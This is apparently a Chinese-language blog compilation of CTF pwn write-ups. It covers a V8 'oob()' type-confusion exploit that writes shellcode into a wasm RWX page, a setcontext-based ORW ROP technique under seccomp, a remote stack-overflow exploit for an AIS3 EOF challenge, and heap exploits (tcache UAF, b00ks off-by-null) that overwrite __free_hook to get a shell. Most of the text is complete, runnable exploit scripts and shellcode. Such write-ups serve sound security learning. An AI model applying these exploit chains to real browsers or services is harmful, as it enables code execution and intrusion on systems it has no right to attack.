+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:

漏洞利用

這版本的 v8 沒有使用 pointer compression,所以一些偏移量會跟現在的 v8 不同

addressOf & fakeObj primitive

可以利用 oob() 讀寫 map,造成 type confusion
定義幾個函數實現型態轉換,並利用 type confusion 撰寫 addressOf 與 fakeObj primitive

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// type convert
var buffer = new ArrayBuffer(0x8);
var float64 = new Float64Array(buffer);
var BigUint64 = new BigUint64Array(buffer);

function ftoi(value){
float64[0] = value;
return BigUint64[0];
}

function itof(value){
BigUint64[0] = value;
return float64[0];
}

function hex(value){
return "0x" + value.toString(16);
}

// type confusion
var obj = {"a":1};
var obj_arr = [obj];
var float64_arr = [1.1];
var obj_arr_map = obj_arr.oob();
var float64_arr_map = float64_arr.oob();

function addressOf(target){
obj_arr[0] = target;
obj_arr.oob(float64_arr_map);
let addr = ftoi(obj_arr[0]);
obj_arr.oob(obj_arr_map);
return addr;
}

function fakeObj(addr){
float64_arr[0] = itof(addr);
float64_arr.oob(obj_arr_map);
let ret_obj = float64_arr[0];
float64_arr.oob(float64_arr_map);
return ret_obj;
}

arbitrary read & write primitive

透過 fakeObj() 在 arb_rw_tools - 0x20 偽造 fake_obj
由於 array 內容可控,且 arb_rw_tools[2] 的 address 和 fake_obj 擺放 elements pointer 的 address 相同,可以修改 arb_rw_tools[2] 進行任意讀寫

1
2
3
4
5
6
7
8
9
10
11
12
13
function read64(addr){
if(addr % 2n == 0)addr += 1n;
let fake_obj = fakeObj(arb_tools_addr - 0x20n);
arb_rw_tools[2] = itof(addr - 0x10n);
return ftoi(fake_obj[0]);
}

function write64(addr, value){
if(addr % 2n == 0)addr += 1n;
let fake_obj = fakeObj(arb_tools_addr - 0x20n);
arb_rw_tools[2] = itof(addr - 0x10n);
fake_obj[0] = itof(value);
}

利用 wasm 寫入 shellcode

f->shared_info->data->instance+0x88 存放著 rwx page 的 address,透過 gdb 找出 offset 計算 address,往該地址寫入 shellcode 即可

在嘗試的過程中發現直接使用 write64() 寫入會失敗,一些 writeup 提到失敗的原因與 float array 處理 float 的方式有關,最後使用 dataView 的方式完成寫入 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

addr_f = addressOf(f);
var shared_info_addr = read64(addr_f + 0x18n);
var data_addr = read64(shared_info_addr + 0x8n);
var instance_addr = read64(data_addr + 0x10n);
var rwx_addr = read64(instance_addr + 0x88n);

var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
];
var dataview_buffer = new ArrayBuffer(sc_arr.length * 8);
var data_view = new DataView(dataview_buffer);
var buf_backing_store_addr = addressOf(dataview_buffer) + 0x20n

write64(buf_backing_store_addr, rwx_addr);

for(let i = 0; i < sc_arr.length; i++) {
data_view.setFloat64(i * 8, itof(sc_arr[i]), true);
}

f();

完整 exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
// type convert
var buffer = new ArrayBuffer(0x8);
var float64 = new Float64Array(buffer);
var BigUint64 = new BigUint64Array(buffer);

function ftoi(value){
float64[0] = value;
return BigUint64[0];
}

function itof(value){
BigUint64[0] = value;
return float64[0];
}

function hex(value){
return "0x" + value.toString(16);
}

// type confusion
var obj = {"a":1};
var obj_arr = [obj];
var float64_arr = [1.1];
var obj_arr_map = obj_arr.oob();
var float64_arr_map = float64_arr.oob();

function addressOf(target){
obj_arr[0] = target;
obj_arr.oob(float64_arr_map);
let addr = ftoi(obj_arr[0]);
obj_arr.oob(obj_arr_map);
return addr;
}

function fakeObj(addr){
float64_arr[0] = itof(addr);
float64_arr.oob(obj_arr_map);
let ret_obj = float64_arr[0];
float64_arr.oob(float64_arr_map);
return ret_obj;
}

var arb_rw_tools = [float64_arr_map, 1.2, 1.3, 1.4];
var arb_tools_addr = addressOf(arb_rw_tools);

function read64(addr){
if(addr % 2n == 0)addr += 1n;
let fake_obj = fakeObj(arb_tools_addr - 0x20n);
arb_rw_tools[2] = itof(addr - 0x10n);
return ftoi(fake_obj[0]);
}

function write64(addr, value){
if(addr % 2n == 0)addr += 1n;
let fake_obj = fakeObj(arb_tools_addr - 0x20n);
arb_rw_tools[2] = itof(addr - 0x10n);
fake_obj[0] = itof(value);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

addr_f = addressOf(f);
var shared_info_addr = read64(addr_f + 0x18n);
var data_addr = read64(shared_info_addr + 0x8n);
var instance_addr = read64(data_addr + 0x10n);
var rwx_addr = read64(instance_addr + 0x88n);

var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
];
var dataview_buffer = new ArrayBuffer(sc_arr.length * 8);
var data_view = new DataView(dataview_buffer);
var buf_backing_store_addr = addressOf(dataview_buffer) + 0x20n

write64(buf_backing_store_addr, rwx_addr);

for(let i = 0; i < sc_arr.length; i++) {
data_view.setFloat64(i * 8, itof(sc_arr[i]), true);
}

f();

成功彈出計算機

有些 heap 題會使用 seccomp 禁用 execve(),使我們無法使用開 shell 的方式拿到 flag
此時我們可以透過 setcontext 進行 ROP,構造 orw 來讀取檔案內容

Ubuntu 18.04

可以跳到 <setcontext + 53> 給各個 register 賦值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
0x52050 <setcontext>:	        push   rdi
0x52051 <setcontext+1>: lea rsi,[rdi+0x128]
0x52058 <setcontext+8>: xor edx,edx
0x5205a <setcontext+10>: mov edi,0x2
0x5205f <setcontext+15>: mov r10d,0x8
0x52065 <setcontext+21>: mov eax,0xe
0x5206a <setcontext+26>: syscall
0x5206c <setcontext+28>: pop rdi
0x5206d <setcontext+29>: cmp rax,0xfffffffffffff001
0x52073 <setcontext+35>: jae 0x520d0 <setcontext+128>
0x52075 <setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
0x5207c <setcontext+44>: fldenv [rcx]
0x5207e <setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
0x52085 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x5208c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x52093 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x52097 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x5209b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x5209f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x520a3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x520a7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x520ae <setcontext+94>: push rcx
0x520af <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x520b3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x520ba <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x520c1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x520c5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x520c9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x520cd <setcontext+125>: xor eax,eax
0x520cf <setcontext+127>: ret
0x520d0 <setcontext+128>: mov rcx,QWORD PTR [rip+0x398d91] # 0x3eae68
0x520d7 <setcontext+135>: neg eax
0x520d9 <setcontext+137>: mov DWORD PTR fs:[rcx],eax
0x520dc <setcontext+140>: or rax,0xffffffffffffffff
0x520e0 <setcontext+144>: ret

利用手法大概是這樣

  1. 把 free_hook 改成 seccontext + 53
  2. 準備好一塊寫好各個 register value 的 chunk,將 rsp 指向 rop chain (這部分可以用 pwntools 的 SigreturnFrame(),這樣就不用自己算偏移)。一個簡單的例子是像 SROP 那樣構造一個 read,把 rop chain 寫上去,並把 rsp 指到 rop chain 的開頭,這樣在 read 完就會跳到 rop chain 上面
  3. free 掉那塊 chunk,觸發 setcontext

practice

題目

使用了 https://bbs.kanxue.com/thread-271174.htm 中第五天的題目
為了方便理解,我先假設我們知道 flag 的檔案名稱,理解後會練習把這個假設拿掉的作法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#include<stdio.h>
#include <math.h>
#include <stdio.h>
#include<unistd.h>
#include <dirent.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>

void sandbox(){
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}

int init(){
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return setvbuf(stderr, 0LL, 2, 0LL);
}

int num = 0;
char *heaparray[0x10];
size_t realsize[0x10];

void create(){
if(num >= 0x20){
puts("no more");
return;
}
int size;
puts("Size of Heap : ");
scanf("%d",&size);
heaparray[num]=(char *)malloc(size);
realsize[num]=size;
num++;
}

void show(){
int idx ;
char buf[4];
printf("Index :\n");
read(0, buf, 4);
idx = atoi(buf);
if(idx < 0 || idx >= 0x10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Size : %ld\nContent : %s\n",realsize[idx],heaparray[idx]);
puts("Done !");
}else{
puts("No such heap !");
}
}

void edit(){
int idx ;
char buf[4];
printf("Index :\n");
read(0, buf, 4);
idx = atoi(buf);
if(idx < 0 || idx >= 0x10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
int size;
puts("Size of Heap : ");
scanf("%d",&size);
printf("Content of heap : \n");
read(0,heaparray[idx],size);
puts("Done !");
}else{
puts("No such heap !");
}
}

void dele(){
int idx ;
char buf[4];
printf("Index :\n");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 0x10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
free(heaparray[idx]);
realsize[idx] = 0 ;
heaparray[idx] = NULL;
puts("Done !");
num--;
}else{
puts("No such heap !");
}
}

void menu(void){
puts("1.create");
puts("2.dele");
puts("3.edit");
puts("4.show");
}

void main(){
init();
sandbox();
int choice;
while(1){
menu();
scanf("%d",&choice);
switch(choice)
{
case 1:create();break;
case 2:dele();break;
case 3:edit();break;
case 4:show();break;
default:puts("error");
}
}
}

exploit (知道檔名)

leak libc 跟改 free hook 就不講了,重點在於構造 ROP 拿 flag
我們可以構造一個 read(0, fake_rsp, 0x5000) 把 ROP chain 寫上去,並把 rsp 指到 ROP chain 上面
這邊有兩種打法,第一個是直接 ROP,第二個是先用 ROP 構造 mprotect 把那塊記憶體改成 rwx,再用 jmp rsp 跳上去。由於 pwntools 有 shellcraft(),我覺得後者會比較方便一點
我這邊是用 mprotect 後跳到 cat ./flag 的 shellcode 上面來拿 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *

def add(size):
p.recvuntil(b'show\n')
p.sendline('1')
p.recvuntil(b': \n')
p.sendline(str(size))

def delete(idx):
p.recvuntil(b'show\n')
p.sendline('2')
p.recvuntil(b':\n')
p.sendline(str(idx))

def edit(idx, size, content):
p.recvuntil(b'show\n')
p.sendline('3')
p.recvuntil(b':\n')
p.sendline(str(idx))
p.recvuntil(b': \n')
p.sendline(str(size))
p.recvuntil(b': \n')
p.send(content)

def show(idx):
p.recvuntil(b'show\n')
p.sendline('4')
p.recvuntil(b':\n')
p.sendline(str(idx))

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process('./orw')
elf = ELF('./orw')
rop = ROP('/lib/x86_64-linux-gnu/libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

add(0x420) #0
for i in range (7):
add(0x10) #1 ~ 7
delete(0)
add(0x420) #7
show(7)
p.recvuntil('Content : ')
libc_base = u64(p.recvline()[:6] + b'\x00' * 0x2) - 0x3ebca0
print("libc base: ", hex(libc_base))
setcontext = libc_base + libc.symbols['setcontext'] + 53
free_hook = libc_base + libc.symbols['__free_hook']
mprotect = libc_base + libc.symbols['mprotect']
pop_rax_ret = libc_base + next(libc.search(asm('pop rax\nret')))
pop_rdi_ret = libc_base + next(libc.search(asm('pop rdi\nret')))
pop_rsi_ret = libc_base + next(libc.search(asm('pop rsi\nret')))
pop_rdx_ret = libc_base + next(libc.search(asm('pop rdx\nret')))
syscall_ret = libc_base + next(libc.search(asm('syscall\nret')))
jmp_rsp = libc_base + next(libc.search(asm('jmp rsp')))
print('gadgets\n---------------------')
print('pop rax; ret', hex(pop_rax_ret))
print('pop rdi; ret', hex(pop_rdi_ret))
print('pop rsi; ret', hex(pop_rsi_ret))
print('pop rdx; ret', hex(pop_rdx_ret))
print('syscall; ret', hex(syscall_ret))
print('jmp rsp', hex(jmp_rsp))
fake_rsp = free_hook & 0xfffffffffffff000
read_frame = SigreturnFrame()
read_frame.rax = 0
read_frame.rdi = 0
read_frame.rsi = fake_rsp
read_frame.rdx = 0x5000
read_frame.rip = syscall_ret
read_frame.rsp = fake_rsp #

add(0x10) #8
add(0x10) #9
delete(9)
edit(8, 0x100, b'a' * 0x10 + p64(0) + p64(0x21) + p64(free_hook))
add(0x10) #9
add(0x10) #10
add(0x1000) #11
edit(10, 0x50, p64(setcontext))
edit(11, 0x1000, bytes(read_frame))
delete(11)

rop_chain = flat(
[pop_rdi_ret, fake_rsp,
pop_rsi_ret, 0x1000,
pop_rdx_ret, 7,
pop_rax_ret, 10,
syscall_ret, jmp_rsp])
rop_chain += asm(shellcraft.cat('./flag'))
p.send(rop_chain)
p.interactive()

前言

這次跟朋友組隊打AIS3 EOF,結果被打爆了

成績

隊伍:第40名(共92隊)

個人:只解掉一題pwn

Writeup

real_rop++ (445 points)

環境

1
2
Ubuntu 20.04
glibc 2.31

source code

1
2
3
4
5
6
7
8
9
10
#include <unistd.h>

int main(){
char buf[0x10];

read(0, buf, 0x30);
write(1, buf, 0x30);

return 0;
}

很明顯的棧溢出,測試後發現return address距離buf 0x18 bytes

防護機制

想法

它有write,可以用這點來leak address,這樣我們如果能回到main,就有機會攻擊,但它開了PIE,所以要用partial write的方式來打。

在main結束後會return到<libc_start_main+243>的地方,但libc_start_main也會在程式開始、還沒進到main之前被呼叫,之後就會呼叫一些函數,然後進到main

所以我們可以把return address蓋成libc_start_main上的某個地方,讓他再次回到main,由於他在read完後會write,我們可以利用這點leak出libc的base address
這樣再次回到main之後就有one gadget可以利用

exploit

那個b’\x10’是我通靈測試出來的,然後return address最右邊的那三位原本是0x83,但被我們蓋成0x10,所以在算libc base address的時候要調一下
然後one_gadget有l2這個選項,可以找出更多gadget
後續在測試的時候發現在local端無法拿到shell,但remote端可以。應該是one_gadget的條件問題,但我試了所有的one_gadget都不行,神奇
但我不打算繼續測了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

Host = 'edu-ctf.zoolab.org'
Port = 10014

context.arch = 'amd64'
context.log_level = 'debug'


r = remote(Host, Port)
#r = process('./chal')

elf = ELF('./chal')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')


offset = 0x10 + 0x8
r.send(b'a' * offset + b'\x10')

libc_start_main = u64(r.recv(0x30)[0x18:0x20]) + 0x83 - 0x10
libc_base = libc_start_main - 0x24083

print("libc base: ", hex(libc_base))

one_gadget = libc_base + 0x84143

payload = b'a' * offset + p64(one_gadget)
r.send(payload)

r.interactive()

'''
FLAG{pancake_fc5930a6007fef9b7d998f205417e671}
'''

前言

要跟朋友去打 2023 HackTheon Sejong,怕我的實力太差導致拖累他們,所以挑這篇教學文章裡的題目加強自己的 heap exploit 能力,主要紀錄一些自己沒看過的利用手法或是有趣的題目

題目

https://bbs.kanxue.com/thread-271174.htm#msg_header_h1_37

day 4

uaf

題目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include<stdio.h>
#include<stdlib.h>
char *heap[0x20];
int num=0;
void create(){
if(num >= 0x20){
puts("no more");
return;
}
int size;
puts("how big");
scanf("%d",&size);
if(size >= 0x20){
puts("no more");
return;
}
heap[num] = (char *)malloc(size);
num++;
}
void show(){
int i;
int idx;
char buf[4];
puts("idx");
read(0, buf, 4);
idx = atoi(buf);
if (!heap[idx]) {
puts("no hvae things\n");
} else {
printf("Content:");
printf("%s",heap[idx]);
}
}
void dele(){
int i;
int idx;
char buf[4];
puts("idx");
read(0, buf, 4);
idx = atoi(buf);
if (!heap[idx]) {
puts("no hvae things\n");
} else {
free(heap[idx]);
num--;
}
}
void edit(){
int size;
int i;
int idx;
char buf[4];
puts("idx");
read(0, buf, 4);
idx = atoi(buf);
if (!heap[idx]) {
puts("no hvae things\n");
} else {
puts("how big u read");
scanf("%d",&size);
if(size > 0x20){
puts("too more");
return;
}
puts("Content:");
read(0,heap[idx],size);
}
}
void menu(void){
puts("1.create");
puts("2.dele");
puts("3.edit");
puts("4.show");
}
void main(){
int choice;
while(1){
menu();
scanf("%d",&choice);
switch(choice)
{
case 1:create();break;
case 2:dele();break;
case 3:edit();break;
case 4:show();break;
default:puts("error");
}
}
}

exploit

這題的難點在於限制了 chunk 的大小、輸入的長度 必須小於 0x20,所以很難獲取 unsorted bin 的 chunk 來 leak libc。這題知道 libc base 就可以打 tcache poisoning,改掉 hook 來開 shell

作者給出的一個手法是透過控制 tcache 結構來獲取 unsorted bin。我們知道 tcache 其實是 heap 上的一個 chunk,大小是 0x250,上面的前 0x40 個 bytes 用來記錄對應大小的 tcache chunk 數量,那如果我有辦法知道 tcache 在哪、可以控制用來記錄 size 是 0x250 的 tcache chunk 的那個 byte 的話,就可以把那個 byte 改成 7。這樣 glibc 就會認為那條 tcache 已經滿了,free 那個 chunk 就會進到 unsorted bin

接下來講一個需要注意的細節
做完 unsorted bin 後有申請一個 chunk #10,如果把他直接 free 掉的話會進 fastbin,這是因為 chunk #10 剛好跟紀錄 tcache chunk 數量的那塊區域重疊,而那塊區域上有一些值殘留,所以要先把那塊區域都設成 0,這樣才會進 tcache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *

def create(size):
p.recvuntil('show\n')
p.sendline(b'1')
p.recvuntil(b'how big')
p.sendline(str(size))

def delete(idx):
p.recvuntil('show\n')
p.sendline(b'2')
p.recvuntil(b'idx\n')
p.sendline(str(idx))

def edit(idx, size, content):
p.recvuntil('show\n')
p.sendline(b'3')
p.recvuntil(b'idx\n')
p.sendline(str(idx))
p.recvuntil(b'how big u read\n')
p.sendline(str(size))
p.recvuntil(b'Content:\n')
p.send(content)

def show(idx):
p.recvuntil('show\n')
p.sendline(b'4')
p.recvuntil(b'idx\n')
p.sendline(str(idx))

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process('./uaf')
elf = ELF('./uaf')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

for i in range(7):
create(0x10) #0 ~ 6
delete(0)
delete(1)
show(1)
p.recvuntil(b'Content:')
chunk0_addr = u64(p.recvline()[:6] + b'\x00' * 0x2)
print("chunk0 address: ", hex(chunk0_addr))
tcache = chunk0_addr - 0x1670
print("tcache address: ", hex(tcache))

edit(0, 0x10, p64(tcache))
create(0x10) #5
create(0x10) #6
create(0x10) #7
create(0x10) #8
create(0x10) #9
edit(7, 0x20, p64(0) * 0x4)
delete(5)
edit(5, 0x10, p64(tcache + 0x20))
create(0x10) #9
create(0x10) #10
edit(10, 0x10, p64(0x7000000))
delete(7)
create(0x10) #10
show(10)
p.recvuntil(b'Content:')
libc_base = u64(p.recvline()[:6] + b'\x00' * 0x2) - 0x3ebee0
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
print(hex(libc_base))
edit(10, 0x20, p64(0x0) * 0x4)
delete(10)
edit(10, 0x10, p64(free_hook))
create(0x10) #10
create(0x10) #11
edit(11, 0x10, p64(system))
edit(8, 0x10, b'/bin/sh\x00')
delete(8)
p.interactive()

Environment

1
2
Ubuntu 16.04
glibc 2.23

Analysis

功能

一個書籍管理系統,具有新增、刪除、更改作者名等功能

保護機制

Reverse Engineering

book struct

此系統用以下的struct保存書籍資訊,並使用一個陣列books儲存每個book中的book_name pointer

1
2
3
4
5
struct book{
char *book_name;
char *book_description;
int description_size;
};

input function

題目使用一個自己實作的輸入函數,會在輸入字串的結尾補上一個null byte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
signed __int64 __fastcall input(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]

if ( a2 <= 0 )
return 0LL;
buf = a1;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == 10 )
break;
++buf;
if ( i == a2 )
break;
}
*buf = 0;
return 0LL;
}

author name

此系統使用一個長度為0x20的陣列author儲存當前的作者名稱,可以發現author[]後面就是books[]

1
2
3
4
5
6
7
8
signed __int64 set_author_name()
{
printf("Enter author name: ");
if ( !(unsigned int)input(author, 32) ) // off by null
return 0LL;
printf("fail to read author_name", 32LL);
return 1LL;
}

Exploit

觀察

  1. 輸入作者時存在off by null,可以先輸入一個長度為0x20的作者名稱,再新增書籍。這樣null byte就會被books[0]最低位覆蓋。透過顯示書籍的功能即可洩漏heap address
  2. 再次輸入長度為0x20的作者名稱,即可覆蓋books[0],使第1個book落在低一點的記憶體位置上

利用思路

  1. 我們可以新增一個大一點的book1,這樣就有機會使book1在被null byte覆蓋後落在原本book1的description,同時新增一個description size屬於unsorted bin範圍的book2並刪除它,方便後續的利用。我們可以使用edit功能在那裡偽造一個fake book來達到任意位址讀寫
  2. 將fake book的description指向book2的description chunk的fd,再透過顯示書籍的功能即可洩漏libc位置

exploit script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

def send_author_name(author):
p.recvuntil(b'Enter author name: ')
p.sendline(author)

def create(name_size, name, description_size, description):
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'Enter book name size: ')
p.sendline(str(name_size))
p.recvuntil(b'Enter book name (Max 32 chars): ')
p.sendline(name)
p.recvuntil(b'Enter book description size: ')
p.sendline(str(description_size))
p.recvuntil(b'Enter book description: ')
p.sendline(description)

def delete(idx):
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'Enter the book id you want to delete: ')
p.sendline(str(idx))

def edit(idx, description):
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'Enter the book id you want to edit: ')
p.sendline(str(idx))
p.recvuntil(b'Enter new book description: ')
p.sendline(description)

def show():
p.recvuntil(b'> ')
p.sendline(b'4')

def change_author_name(author):
p.recvuntil(b'> ')
p.sendline(b'5')
send_author_name(author)

def exit():
p.recvuntil(b'> ')
p.sendline(b'6')

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process('./b00ks')
elf = ELF('./b00ks')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

# use off by null to leak heap address
send_author_name(b'a' * 0x20)
create(0x10, b'b', 0x100, b'b') # bool 1
create(0x10, b'a', 0x500, b'a') # book 2
delete(2)
show()
p.recvuntil(b'Author: ')
heap_addr = u64(p.recvline()[0x20:-1] + b'\x00' * 0x2)

# create a fake book in book1 (the offset is found by debugging)
# let the description pointer of fake book points to book 2 fd, leak libc address
# set the size of description bigger (I set it to 0x10000), for further exploitation
edit(1, b'\x00' * (0x100 - 0x40) + p64(0x1) + b'\x00' * 0x8 + p64(heap_addr + 0x50) + p64(0x10000))
change_author_name(b'a' * 0x20)
print(hex(heap_addr))
show()
p.recvuntil(b'Description: ')
main_arena = u64(p.recvline()[:-1] + b'\x00' * 0x2)
libc_base = main_arena - 0x3c4b78
print(hex(libc_base))

create(0x10, b'a' * 0x8, 0x500, b'a')
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4527a

# the description pointer of fake book points to the description of book3
# since we set the size of description of fake chunk to 0x10000, we can control the description pointer of book3
# we can arbitrary write now!
payload1 = b'\x00' * (0x500 + 0x8) + p64(0x21) + p64(0x3) + p64(heap_addr + 0x30) + p64(free_hook)
edit(1, payload1)
edit(3, p64(one_gadget))

# trigger one gadget
delete(1)

p.interactive()